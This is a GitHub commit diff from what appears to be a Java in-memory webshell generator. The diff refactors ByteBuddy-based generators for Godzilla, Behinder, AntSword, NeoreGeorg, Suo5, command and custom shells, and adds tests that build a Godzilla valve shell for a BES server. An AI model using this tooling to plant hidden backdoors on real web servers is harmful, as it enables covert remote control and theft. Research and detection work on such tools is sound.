Skip to content

Commit bdc096b

Browse files
ReaJasonReaJason
committed
fix: custom shell not supported for listener and valve vistor
1 parent f42b220 commit bdc096b

File tree

10 files changed

+178
-35
lines changed

10 files changed

+178
-35
lines changed

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.AntSwordConfig;
44
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import net.bytebuddy.ByteBuddy;
56
import net.bytebuddy.dynamic.DynamicType;
67

78
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig
1617
}
1718

1819
@Override
19-
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
20-
return builder.field(named("pass")).value(shellToolConfig.getPass())
20+
protected DynamicType.Builder<?> getBuilder() {
21+
return new ByteBuddy()
22+
.redefine(shellToolConfig.getShellClass())
23+
.field(named("pass")).value(shellToolConfig.getPass())
2124
.field(named("headerName")).value(shellToolConfig.getHeaderName())
2225
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
2326
}

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.BehinderConfig;
44
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import net.bytebuddy.ByteBuddy;
56
import net.bytebuddy.dynamic.DynamicType;
67
import org.apache.commons.codec.digest.DigestUtils;
78

@@ -16,9 +17,12 @@ public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig
1617
super(shellConfig, shellToolConfig);
1718
}
1819

19-
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
20+
@Override
21+
public DynamicType.Builder<?> getBuilder() {
2022
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
21-
return builder.field(named("pass")).value(md5Key)
23+
return new ByteBuddy()
24+
.redefine(shellToolConfig.getShellClass())
25+
.field(named("pass")).value(md5Key)
2226
.field(named("headerName")).value(shellToolConfig.getHeaderName())
2327
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
2428
}

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,6 @@
1010
import com.reajason.javaweb.memshell.config.ShellConfig;
1111
import com.reajason.javaweb.memshell.config.ShellToolConfig;
1212
import com.reajason.javaweb.memshell.server.AbstractServer;
13-
import net.bytebuddy.ByteBuddy;
1413
import net.bytebuddy.dynamic.DynamicType;
1514

1615
/**
@@ -26,16 +25,13 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
2625
this.shellToolConfig = shellToolConfig;
2726
}
2827

29-
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
28+
protected abstract DynamicType.Builder<?> getBuilder();
3029

3130
@Override
3231
public byte[] getBytes() {
3332
Class<?> shellClass = shellToolConfig.getShellClass();
3433
String shellClassName = shellToolConfig.getShellClassName();
35-
DynamicType.Builder<?> builder = build(new ByteBuddy()
36-
.redefine(shellClass)
37-
.name(shellClassName)
38-
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
34+
DynamicType.Builder<?> builder = getBuilder();
3935

4036
String shellType = shellConfig.getShellType();
4137
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
@@ -56,6 +52,10 @@ public byte[] getBytes() {
5652
builder = LogRemoveMethodVisitor.extend(builder);
5753
}
5854

55+
builder = builder
56+
.name(shellClassName)
57+
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
58+
5959
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
6060
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
6161
}

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java

Lines changed: 17 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,38 @@
11
package com.reajason.javaweb.memshell.generator;
22

3-
import com.reajason.javaweb.ClassBytesShrink;
4-
import com.reajason.javaweb.GenerationException;
5-
import com.reajason.javaweb.asm.ClassRenameUtils;
63
import com.reajason.javaweb.memshell.config.CustomConfig;
74
import com.reajason.javaweb.memshell.config.ShellConfig;
8-
import org.apache.commons.lang3.StringUtils;
5+
import net.bytebuddy.ByteBuddy;
6+
import net.bytebuddy.description.type.TypeDescription;
7+
import net.bytebuddy.dynamic.ClassFileLocator;
8+
import net.bytebuddy.dynamic.DynamicType;
9+
import net.bytebuddy.jar.asm.ClassReader;
10+
import net.bytebuddy.pool.TypePool;
911

1012
import java.util.Base64;
1113

1214
/**
1315
* @author ReaJason
1416
* @since 2025/3/18
1517
*/
16-
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
18+
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
1719

1820
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
1921
super(shellConfig, customConfig);
2022
}
2123

2224
@Override
23-
public byte[] getBytes() {
25+
protected DynamicType.Builder<?> getBuilder() {
2426
String shellClassBase64 = shellToolConfig.getShellClassBase64();
25-
26-
if (StringUtils.isBlank(shellClassBase64)) {
27-
throw new GenerationException("Custom shell class is empty");
28-
}
2927
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
30-
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
31-
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
28+
ClassReader classReader = new ClassReader(classBytes);
29+
String className = classReader.getClassName().replace('/', '.');
30+
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
31+
TypeDescription typeDescription = new TypePool.Default(
32+
new TypePool.CacheProvider.Simple(), classFileLocator,
33+
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
34+
).describe(className).resolve();
35+
return new ByteBuddy()
36+
.redefine(typeDescription, classFileLocator);
3237
}
3338
}

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.GodzillaConfig;
44
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import net.bytebuddy.ByteBuddy;
56
import net.bytebuddy.dynamic.DynamicType;
67
import org.apache.commons.codec.digest.DigestUtils;
78

@@ -18,10 +19,12 @@ public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig)
1819
}
1920

2021
@Override
21-
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
22+
public DynamicType.Builder<?> getBuilder() {
2223
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
2324
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
24-
return builder.field(named("pass")).value(shellToolConfig.getPass())
25+
return new ByteBuddy()
26+
.redefine(shellToolConfig.getShellClass())
27+
.field(named("pass")).value(shellToolConfig.getPass())
2528
.field(named("key")).value(md5Key)
2629
.field(named("md5")).value(md5)
2730
.field(named("headerName")).value(shellToolConfig.getHeaderName())

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
44
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import net.bytebuddy.ByteBuddy;
56
import net.bytebuddy.dynamic.DynamicType;
67

78
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgC
1617
}
1718

1819
@Override
19-
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
20-
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
20+
protected DynamicType.Builder<?> getBuilder() {
21+
return new ByteBuddy()
22+
.redefine(shellToolConfig.getShellClass())
23+
.field(named("headerName")).value(shellToolConfig.getHeaderName())
2124
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
2225
}
2326
}

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.ShellConfig;
44
import com.reajason.javaweb.memshell.config.Suo5Config;
5+
import net.bytebuddy.ByteBuddy;
56
import net.bytebuddy.dynamic.DynamicType;
67

78
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -17,8 +18,9 @@ public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
1718
}
1819

1920
@Override
20-
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
21-
return builder
21+
protected DynamicType.Builder<?> getBuilder() {
22+
return new ByteBuddy()
23+
.redefine(shellToolConfig.getShellClass())
2224
.field(named("headerName")).value(shellToolConfig.getHeaderName())
2325
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
2426
}

‎generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import com.reajason.javaweb.memshell.config.ShellConfig;
88
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
99
import com.reajason.javaweb.utils.ShellCommonUtil;
10+
import net.bytebuddy.ByteBuddy;
1011
import net.bytebuddy.asm.Advice;
1112
import net.bytebuddy.description.modifier.Ownership;
1213
import net.bytebuddy.description.modifier.Visibility;
@@ -26,9 +27,11 @@ public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
2627
}
2728

2829
@Override
29-
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
30-
31-
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
30+
public DynamicType.Builder<?> getBuilder() {
31+
DynamicType.Builder<?> builder = new ByteBuddy()
32+
.redefine(shellToolConfig.getShellClass())
33+
.field(named("paramName"))
34+
.value(shellToolConfig.getParamName());
3235

3336
if (shellConfig.isJakarta()) {
3437
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);

‎generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java

Lines changed: 41 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,21 @@
11
package com.reajason.javaweb.memshell.generator;
22

3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.asm.ClassReferenceVisitor;
5+
import com.reajason.javaweb.memshell.ShellType;
36
import com.reajason.javaweb.memshell.config.CustomConfig;
47
import com.reajason.javaweb.memshell.config.ShellConfig;
8+
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
59
import com.reajason.javaweb.utils.CommonUtil;
610
import lombok.SneakyThrows;
711
import net.bytebuddy.ByteBuddy;
8-
import net.bytebuddy.jar.asm.ClassReader;
912
import org.junit.jupiter.api.Test;
13+
import org.objectweb.asm.ClassReader;
1014

1115
import java.util.Base64;
16+
import java.util.Set;
1217

13-
import static org.junit.jupiter.api.Assertions.assertEquals;
14-
18+
import static org.junit.jupiter.api.Assertions.*;
1519

1620

1721
/**
@@ -27,9 +31,42 @@ void test() {
2731
.subclass(Object.class)
2832
.name(CommonUtil.generateShellClassName()).make().getBytes();
2933
String className = CommonUtil.generateShellClassName();
30-
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes();
34+
ShellConfig shellConfig = ShellConfig.builder()
35+
.shellType(ShellType.FILTER)
36+
.build();
37+
CustomConfig customConfig = CustomConfig.builder()
38+
.shellClassName(className)
39+
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
40+
.build();
41+
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
42+
43+
ClassReader classReader = new ClassReader(bytes1);
44+
assertEquals(className, classReader.getClassName().replace("/", "."));
45+
}
46+
47+
@Test
48+
@SneakyThrows
49+
void testValue() {
50+
byte[] bytes = new ByteBuddy()
51+
.redefine(GodzillaValve.class)
52+
.name(CommonUtil.generateShellClassName()).make().getBytes();
53+
String className = CommonUtil.generateShellClassName();
54+
ShellConfig shellConfig = ShellConfig.builder()
55+
.server(Server.BES)
56+
.shellType(ShellType.VALVE)
57+
.build();
58+
CustomConfig customConfig = CustomConfig.builder()
59+
.shellClassName(className)
60+
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
61+
.build();
62+
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
3163

3264
ClassReader classReader = new ClassReader(bytes1);
65+
ClassReferenceVisitor classVisitor = new ClassReferenceVisitor();
66+
classReader.accept(classVisitor, 0);
67+
Set<String> referencedClasses = classVisitor.getReferencedClasses();
3368
assertEquals(className, classReader.getClassName().replace("/", "."));
69+
assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve"));
70+
assertFalse(referencedClasses.contains("org/apache/catalina/Valve"));
3471
}
3572
}

‎memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassReferenceVisitor.java

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import lombok.Getter;
4+
import org.objectweb.asm.*;
5+
6+
import java.util.Collections;
7+
import java.util.HashSet;
8+
import java.util.Set;
9+
10+
@Getter
11+
public class ClassReferenceVisitor extends ClassVisitor {
12+
private final Set<String> referencedClasses = new HashSet<>();
13+
14+
public ClassReferenceVisitor() {
15+
super(Opcodes.ASM9);
16+
}
17+
18+
@Override
19+
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
20+
if (superName != null) {
21+
referencedClasses.add(superName);
22+
}
23+
if (interfaces != null) {
24+
Collections.addAll(referencedClasses, interfaces);
25+
}
26+
super.visit(version, access, name, signature, superName, interfaces);
27+
}
28+
29+
@Override
30+
public FieldVisitor visitField(int access, String name, String descriptor, String signature, Object value) {
31+
addType(Type.getType(descriptor));
32+
return super.visitField(access, name, descriptor, signature, value);
33+
}
34+
35+
@Override
36+
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
37+
addType(Type.getMethodType(descriptor));
38+
if (exceptions != null) {
39+
Collections.addAll(referencedClasses, exceptions);
40+
}
41+
return new MethodReferenceVisitor(super.visitMethod(access, name, descriptor, signature, exceptions));
42+
}
43+
44+
private void addType(Type type) {
45+
if (type.getSort() == Type.OBJECT) {
46+
referencedClasses.add(type.getInternalName());
47+
} else if (type.getSort() == Type.ARRAY) {
48+
addType(type.getElementType());
49+
} else if (type.getSort() == Type.METHOD) {
50+
addType(type.getReturnType());
51+
for (Type argType : type.getArgumentTypes()) {
52+
addType(argType);
53+
}
54+
}
55+
}
56+
57+
class MethodReferenceVisitor extends MethodVisitor {
58+
public MethodReferenceVisitor(MethodVisitor methodVisitor) {
59+
super(Opcodes.ASM9, methodVisitor);
60+
}
61+
62+
@Override
63+
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
64+
referencedClasses.add(owner);
65+
addType(Type.getMethodType(descriptor));
66+
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
67+
}
68+
69+
@Override
70+
public void visitLdcInsn(Object value) {
71+
if (value instanceof Type) {
72+
addType((Type) value);
73+
}
74+
super.visitLdcInsn(value);
75+
}
76+
77+
@Override
78+
public void visitTypeInsn(int opcode, String type) {
79+
referencedClasses.add(type);
80+
super.visitTypeInsn(opcode, type);
81+
}
82+
}
83+
}

0 commit comments

Comments
 (0)